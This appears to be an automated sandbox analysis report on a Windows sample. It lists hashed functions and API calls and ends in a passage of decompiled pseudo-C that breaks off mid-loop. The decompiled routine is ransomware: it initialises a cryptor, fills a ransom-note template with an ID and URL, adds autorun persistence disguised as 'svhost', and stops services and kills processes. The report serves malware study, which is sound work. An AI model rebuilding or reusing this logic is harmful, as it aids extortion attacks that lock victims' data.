String ID:
API String ID: 3172100163-0
Opcode ID: ff0c2bce051c485592403c4d6941dd7c42b9b8f7caeaf2730afc6640938642ae
Instruction ID: a0189fffaa996301ee0193dc989ff6766110a63aa5864981f8bfebbd65b63629
Opcode Fuzzy Hash: ff0c2bce051c485592403c4d6941dd7c42b9b8f7caeaf2730afc6640938642ae
Instruction Fuzzy Hash: 7641C6B5E10109AFCB48DFA8D9919EEB7B5FF8D300F108559E516A7391DB30AA01CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AB51F0, Relevance: 4.6, APIs: 3, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00AA9C60: _Max_value.LIBCPMTD ref: 00AA9C96
Part of subcall function 00AA9C60: _Min_value.LIBCPMTD ref: 00AA9CBC

allocator.LIBCONCRTD ref: 00AB526B
allocator.LIBCONCRTD ref: 00AB52DA
construct.LIBCPMTD ref: 00AB5317

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: allocator$Max_valueMin_valueconstruct
String ID:
API String ID: 3172100163-0
Opcode ID: 1972bc9a8439a5f41364908f18218d6cfeb9eb9e432ce2906495707e9c5b6b88
Instruction ID: eeea6864d13c41c663db01cb0d5fd3a74c802431ec2f502c663671a8dcf0aa4d
Opcode Fuzzy Hash: 1972bc9a8439a5f41364908f18218d6cfeb9eb9e432ce2906495707e9c5b6b88
Instruction Fuzzy Hash: 9841C9B5E00109AFCB48DFA8D9919EEB7B5FF8D300F108559E516A7391DB30AA00CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4F5A, Relevance: 4.6, APIs: 3, Instructions: 97COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00AF4F86
__cftoe.LIBCMT ref: 00AF4FB8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 6f227393744ed0cee10756886abfb83f8ccf50a05508db3fe9432b0fe338312c
Instruction ID: d28a988f3df301a4a83db6a07b6b2e30cc68b4ca950642bcdadd1c442f47131f
Opcode Fuzzy Hash: 6f227393744ed0cee10756886abfb83f8ccf50a05508db3fe9432b0fe338312c
Instruction Fuzzy Hash: E521977680410C7ACF20ABE9DC45EBF7BB8DB49720F204167FA18D6181EB319A508791

Uniqueness

Uniqueness Score: -1.00%

Function 00AB2040, Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00AB2080
std::ios_base::good.LIBCPMTD ref: 00AB2106
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AB2147

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::ios_base::good$Container_base12Container_base12::~_std::_
String ID:
API String ID: 4124035295-0
Opcode ID: 0405234c599a83885664303d19caedf38e26abed02bd418951e7ba1630712b5c
Instruction ID: 6bc1842041185dffc138dd84aa11b58ff71f0d3f493b7f11bd2b662b9d5f840f
Opcode Fuzzy Hash: 0405234c599a83885664303d19caedf38e26abed02bd418951e7ba1630712b5c
Instruction Fuzzy Hash: 383150B5D04208ABCB04EF64E992AFFB778EF55354F50422AF512572D2EF346A04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AFE0A4, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00AFE0EC

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 44091cea511fe6f1acddd23d47390fb44c5b90d0f838636a7fd095c138247eb1
Instruction ID: 3197a68a93517249c5200f7b1004e3c1e97ac03ec8dfe66ea4617c69642c4fbc
Opcode Fuzzy Hash: 44091cea511fe6f1acddd23d47390fb44c5b90d0f838636a7fd095c138247eb1
Instruction Fuzzy Hash: B1E0E536D8661541D221AB7D7C0177A6A855B92331F114276F624C71F0DFA0898140A6

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA4F3, Relevance: 3.0, APIs: 2, Instructions: 14COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00ADA4F3

Part of subcall function 00ADA537: InitializeCriticalSectionAndSpinCount.KERNEL32(00B45D2C,00000FA0,80D348A2,?,?,?,?,00B10C20,000000FF), ref: 00ADA566
Part of subcall function 00ADA537: GetModuleHandleW.KERNELBASE(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00B10C20,000000FF), ref: 00ADA571
Part of subcall function 00ADA537: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00B10C20,000000FF), ref: 00ADA582
Part of subcall function 00ADA537: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00ADA598
Part of subcall function 00ADA537: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00ADA5A6
Part of subcall function 00ADA537: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00ADA5B4
Part of subcall function 00ADA537: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00ADA5DF
Part of subcall function 00ADA537: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00ADA5EA

___scrt_fastfail.LIBCMT ref: 00ADA514

Part of subcall function 00ADAA18: __onexit.LIBCMT ref: 00ADAA1E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID:
API String ID: 66158676-0
Opcode ID: 986b1e896c5493fb2251ca452754ca30223dc2645179b09a23b91aba7423c6e3
Instruction ID: d1b0142533676dcf7a7b01d7c7e7b65e9450d86d7afb78beba27134aaaca3e59
Opcode Fuzzy Hash: 986b1e896c5493fb2251ca452754ca30223dc2645179b09a23b91aba7423c6e3
Instruction Fuzzy Hash: 90C09B06A9564671D448F7747B0375C32411B71761F548557764B6DBD39FC089416123

Uniqueness

Uniqueness Score: -1.00%

Function 00AB4BF0, Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00AB5A50: _Min_value.LIBCPMTD ref: 00AB5A7D

allocator.LIBCONCRTD ref: 00AB4C80

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Min_valueallocator
String ID:
API String ID: 2162267568-0
Opcode ID: ec88e6c7e6853b0d60e01be0ddba0b6e87b4b2c1323ffe91b09399ce953006f3
Instruction ID: c60438b28ac5522a14130c19e244c3a49e79701c5aacc9955b3d315dd7b91ffe
Opcode Fuzzy Hash: ec88e6c7e6853b0d60e01be0ddba0b6e87b4b2c1323ffe91b09399ce953006f3
Instruction Fuzzy Hash: 7151BBB1E001099FCB08DF98DA92AEEB7B9FF89351F504119E516B7292DB346D01CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AFE51A, Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00AFE5F8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ed15eac407b85555d383ad8619dfc833b2e2b9a1d92ce42616c61f2f5bb1881a
Instruction ID: bb497a92e6514f71d2419dafe3ea74419a2364276c7c7de655678a8b1204e153
Opcode Fuzzy Hash: ed15eac407b85555d383ad8619dfc833b2e2b9a1d92ce42616c61f2f5bb1881a
Instruction Fuzzy Hash: 35412C75E006088F8B18DF6DD8C056DB7F2FB8D324B558169E616EB3A0DB30AD45DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B07D5C, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00B00B22: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B01718,00000001,00000364,00000006,000000FF,?,00000000,?,00AF6551,00B00BFC), ref: 00B00B63

_free.LIBCMT ref: 00B07DC8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 0215a544fa420d0108879a5c7bb1e3d12264f8bab89839e85211e74ff9e1d852
Instruction ID: d64118f019c6ece8052b8f6a0f0f64aace2c025b869ecdd14589cd38a9ef973d
Opcode Fuzzy Hash: 0215a544fa420d0108879a5c7bb1e3d12264f8bab89839e85211e74ff9e1d852
Instruction Fuzzy Hash: 2401D6B26443056BE3319F699885A6AFFD9EF85370F25066DE594832C0EA30B905C664

Uniqueness

Uniqueness Score: -1.00%

Function 00AFEAF0, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00B00B22: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B01718,00000001,00000364,00000006,000000FF,?,00000000,?,00AF6551,00B00BFC), ref: 00B00B63

_free.LIBCMT ref: 00AFEB10

Part of subcall function 00B00B7F: HeapFree.KERNEL32(00000000,00000000,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?), ref: 00B00B95
Part of subcall function 00B00B7F: GetLastError.KERNEL32(?,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?,?), ref: 00B00BA7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: 7c8655c136d546ad57689f4a283468d59d9f7cae01a98e44d4bd815d5a5785de
Instruction ID: 4b6eaa26a73db1a056e0ddb68795737854aee964c01706709cb1face0284a016
Opcode Fuzzy Hash: 7c8655c136d546ad57689f4a283468d59d9f7cae01a98e44d4bd815d5a5785de
Instruction Fuzzy Hash: BD010C72D00219AFCB10DFA9C441B9EBBF8FB48710F004166E918E7240E771AA54CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B00B22, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B01718,00000001,00000364,00000006,000000FF,?,00000000,?,00AF6551,00B00BFC), ref: 00B00B63

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9933d05972de3aded2aa904aa8a700fd5f8cad6a6725dfefeb978f3d9e7b381d
Instruction ID: 229a507f90ac27203fb1d1d19ef2c1bdcd44fcc7547374e4b709f5e22514f9c3
Opcode Fuzzy Hash: 9933d05972de3aded2aa904aa8a700fd5f8cad6a6725dfefeb978f3d9e7b381d
Instruction Fuzzy Hash: F2F0E9326202296BDB217B659D45F7B3FC8EF817A4F1581E5BD08EB0D4CB30D80186E5

Uniqueness

Uniqueness Score: -1.00%

Function 00B00BB9, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?,?,00ADA79A,00000000,?,00AA171C,00000000,?,00AABDB9,00000000), ref: 00B00BEB

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1d0c5b047dace6f84339ba85c369556eabea41f765d626c262c39bd2df857cb9
Instruction ID: 7254b3da5810c561c2944fa34a7d6a153f524688cf6eee8702057ce9f145eef0
Opcode Fuzzy Hash: 1d0c5b047dace6f84339ba85c369556eabea41f765d626c262c39bd2df857cb9
Instruction Fuzzy Hash: 66E065221952659BD7313BA59D05F7B7ECCDF417E4F1501E1BD45970D1CE60CC0181E5

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA780, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00ADB48A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 63aa5e3675f1d0bef0c404b52d637017932ca43527f9438f71c3c35452516a67
Instruction ID: ae61974273cc96e461dec447046f8225acb6c2e58a234524ba7346a2ff0c40c0
Opcode Fuzzy Hash: 63aa5e3675f1d0bef0c404b52d637017932ca43527f9438f71c3c35452516a67
Instruction Fuzzy Hash: BEE0923540060DBA8F01BBB4D9969AC37B85A10360B608222BA29941E2EF30DA5681E2

Uniqueness

Uniqueness Score: -1.00%

Function 00AB54A3, Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Locimp::_Addfac.LIBCPMTD ref: 00AB54C7

Part of subcall function 00AB1400: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AB1413

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddfacLocimp::_Lockitstd::_std::locale::_$Locimp_Lockit::_Lockit::~_
String ID:
API String ID: 2678193999-0
Opcode ID: 5d02efe61beaed9dfa0401c572ce73d844e562b03edc9d84b3b39b2ff0600a9a
Instruction ID: f732b027d9cbdd48697716157830876115c062a6b459b97edfa4e1de80b2ae1d
Opcode Fuzzy Hash: 5d02efe61beaed9dfa0401c572ce73d844e562b03edc9d84b3b39b2ff0600a9a
Instruction Fuzzy Hash: 29F074B4600108EBCB54DF58CA55BAEB7E5BB89304F2481D8E8095B782C731EE51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00AB31AD, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMTD ref: 00AB31B2

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::bad_exception::bad_exception
String ID:
API String ID: 2160870905-0
Opcode ID: 35446109d0cbda40ca7ca8e916ce1e06b065bb5a79784b3c5e81aeba527ae83e
Instruction ID: 072b90cbac6db2e751cfe8c96527c44611977b55404c0196be4f1d90b40b753c
Opcode Fuzzy Hash: 35446109d0cbda40ca7ca8e916ce1e06b065bb5a79784b3c5e81aeba527ae83e
Instruction Fuzzy Hash: 80E0C971D0864ADBCB04DF98E952BAEBB75EB48310F104659D425673C2C6751A11CB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00AA6130, Relevance: 53.0, APIs: 4, Strings: 26, Instructions: 536
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00AA6130(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v28;
				char _v40;
				char _v52;
				char _v76;
				char _v120;
				char _v144;
				char _v168;
				char _v192;
				char _v216;
				signed char _v217;
				signed int _v218;
				signed int _v219;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char* _v264;
				char* _v268;
				intOrPtr _v272;
				signed int _v276;
				signed int _v280;
				char* _v284;
				intOrPtr _v288;
				char _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				char* _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				char _v336;
				char _v344;
				char _v368;
				char _v392;
				char _v416;
				char _v440;
				char _v464;
				char _v488;
				char _v512;
				char _v536;
				char _v560;
				char _v584;
				char _v608;
				void* __ebp;
				signed int _t190;
				signed char _t201;
				void* _t215;
				signed char _t216;
				void* _t222;
				signed char _t223;
				void* _t231;
				signed char _t233;
				void* _t286;
				void* _t287;
				void* _t288;
				signed int _t294;
				void* _t301;
				void* _t302;
				void* _t303;
				void* _t334;
				void* _t338;
				signed char _t339;
				void* _t342;
				void* _t366;
				void* _t528;
				signed int _t530;
				void* _t531;
				void* _t534;
				void* _t535;
				void* _t536;
				void* _t537;
				void* _t538;

				_t529 = __esi;
				_t528 = __edi;
				_t366 = __ebx;
				_t190 =  *0xb42074; // 0x80d348a2
				_v8 = _t190 ^ _t530;
				E00AF4FF7(0, 0xb247ce);
				_push(E00AA1CF0( &_v344, __esi, __eflags, L"", 0x3f));
				_push( &_v336);
				E00AC6C67();
				E00AA1D80( &_v336);
				E00AA1D80( &_v344);
				E00AA24D0(E00AA1100( &_v241), L"[LOCKER] Is running\n");
				E00AA8340(L"{8761ABBD-7F85-42EE-B272-A76179687C63}");
				_t201 = E00AA5AE0( &_v560);
				_t534 = _t531 + 0x14;
				_v217 = _t201;
				E00AA8170();
				if((_v217 & 0x000000ff) == 0) {
					E00AA1100( &_v10);
					E00AC17D0(_t366,  &_v10, _t528, _t529, __eflags);
					E00AC1800(_t366,  &_v10, _t528, _t529, __eflags);
					__eflags = E00AC1730( &_v10) & 0x000000ff;
					if(__eflags == 0) {
						_v284 = L"[LOCKER] Priv: USER\n";
					} else {
						_v284 = L"[LOCKER] Priv: ADMIN\n";
					}
					_v320 = _v284;
					E00AA24D0(E00AA1100( &_v243),  &_v320);
					E00AA5B30(_t366, _t528, _t529, __eflags);
					E00AB5FB0( &_v120);
					E00AA24D0(E00AA1100( &_v244), L"[LOCKER] Init cryptor\n");
					_t215 = E00AA1700(E00AA1100(0xb469a8));
					_t535 = _t534 + 4;
					_t216 = E00AB6030(_t366,  &_v120, _t528, _t529, _t215);
					__eflags = _t216 & 0x000000ff;
					if((_t216 & 0x000000ff) != 0) {
						E00AA24D0(E00AA1100( &_v246), L"[LOCKER] Put ID to HTML-code\n");
						E00AA8610("{{IDENTIFIER}}");
						_t222 = E00AA1700(E00AB6170( &_v608));
						_t536 = _t535 + 4;
						_t223 = E00AB2370(_t366, 0xb469a8, _t528, _t529,  &_v368, _t222);
						__eflags = _t223 & 0x000000ff;
						if((_t223 & 0x000000ff) != 0) {
							_v280 = 0;
						} else {
							_v280 = 1;
						}
						_v218 = _v280;
						E00AA8540();
						E00AA8540();
						_t517 = _v218 & 0x000000ff;
						__eflags = _v218 & 0x000000ff;
						if((_v218 & 0x000000ff) == 0) {
							E00AA24D0(E00AA1100( &_v248), L"[LOCKER] Put URL to HTML-code\n");
							E00AA8610("{{URL}}");
							_t231 = E00AA1700(E00AB2930(0xb469a8));
							_t537 = _t536 + 4;
							_t233 = E00AB25B0(_t366, 0xb469a8, _t528, _t529,  &_v392, _t231);
							__eflags = _t233 & 0x000000ff;
							if((_t233 & 0x000000ff) != 0) {
								_v276 = 0;
							} else {
								_v276 = 1;
							}
							_t517 = _v276;
							_v219 = _v276;
							E00AA8540();
							__eflags = _v219 & 0x000000ff;
							if((_v219 & 0x000000ff) == 0) {
								E00AA1100( &_v14);
								E00AA24D0(E00AA1100( &_v250), L"[LOCKER] Add to autorun\n");
								E00AA8340(L"svhost");
								E00AC03B0(_t366,  &_v14, _t517, _t528, _t529,  &_v416, E00AB2910(0xb469a8));
								E00AA8170();
								E00AA24D0(E00AA1100( &_v251), L"[LOCKER] Scan hidden devices\n");
								E00AA1100( &_v13);
								E00ABC970(_t366,  &_v13, _t528, _t529, __eflags);
								E00AA24D0(E00AA1100( &_v252), L"[LOCKER] Stop and delete services\n");
								E00AA1100( &_v9);
								_v272 = E00AB28D0(0xb469a8);
								_v224 = E00AA6C00(_v272);
								_v312 = E00AA6BE0(_v272);
								while(1) {
									__eflags = _v224 - _v312;
									if(_v224 == _v312) {
										break;
									}
									E00AA8400( &_v168, _v224);
									_t338 = E00AA1700( &_v168);
									_t537 = _t537 + 4;
									_t339 = E00ABF8E0(_t366,  &_v9, _t528, _t529, _t338, 0x3e8);
									__eflags = _t339 & 0x000000ff;
									if((_t339 & 0x000000ff) != 0) {
										_t342 = E00AA1700( &_v168);
										_t537 = _t537 + 4;
										E00ABFAB0( &_v9, _t342);
									}
									E00AA8170();
									_t517 = _v224 + 0x18;
									__eflags = _t517;
									_v224 = _t517;
								}
								E00AA24D0(E00AA1100( &_v253), L"[LOCKER] Kill processes\n");
								_v288 = E00AB28F0(0xb469a8);
								_v240 = E00AA6C00(_v288);
								_v316 = E00AA6BE0(_v288);
								while(1) {
									_t259 = _v240;
									__eflags = _v240 - _v316;
									if(_v240 == _v316) {
										break;
									}
									E00AA8400( &_v216, _v240);
									_t334 = E00AA1700( &_v216);
									_t537 = _t537 + 4;
